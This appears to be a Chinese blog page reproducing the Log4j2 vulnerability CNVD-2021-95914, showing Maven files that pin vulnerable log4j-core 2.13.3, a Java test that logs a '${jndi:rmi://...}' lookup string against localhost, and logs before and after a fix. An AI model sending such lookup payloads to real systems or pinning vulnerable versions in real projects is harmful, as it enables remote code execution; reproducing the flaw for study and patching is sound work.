Log4j2高危漏洞CNVD-2021-95914分析复现修复漏洞描述复现代码测试用例修复建议

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <groupId>com.lizz</groupId>
    <artifactId>parent-tester</artifactId>
    <version>1.0-SNAPSHOT</version>
    <properties>
        <skipTests>true</skipTests>
    </properties>

    <dependencies>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.13.3</version>
        </dependency>
    </dependencies>

    <build>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
            </plugin>
        </plugins>
    </build>
</project>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <groupId>com.lizz</groupId>
    <artifactId>parent-tester</artifactId>
    <version>1.0-SNAPSHOT</version>
    <properties>
        <skipTests>true</skipTests>
    </properties>

    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.3.4.RELEASE</version>
        <relativePath/>
    </parent>
    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-log4j2</artifactId>
        </dependency>
    </dependencies>

    <build>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
            </plugin>
        </plugins>
    </build>
</project>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

/**
 * @description: LogBugTest
 * @author: lizz
 * @date: 2021/12/14 14:51
 */
public class LogBugTest {
    private static final Logger logger = LogManager.getLogger(LogBugTest.class);

    public static void main(String[] args) {
        String msg="${java:hw}";
        logger.info("log {}",msg);
        logger.error("${jndi:rmi://127.0.0.1:1099/xxxx}");

    }
}

1
2
[main] INFO  com.lizz.LogBugTest - log processors: 4, architecture: x86_64-64
main WARN Error looking up JNDI resource [rmi://127.0.0.1:1099/xxxx]. 

1
2
[main] INFO  com.lizz.LogBugTest - log ${java:hw}
[main] ERROR com.lizz.LogBugTest - ${jndi:rmi://127.0.0.1:1099/xxxx}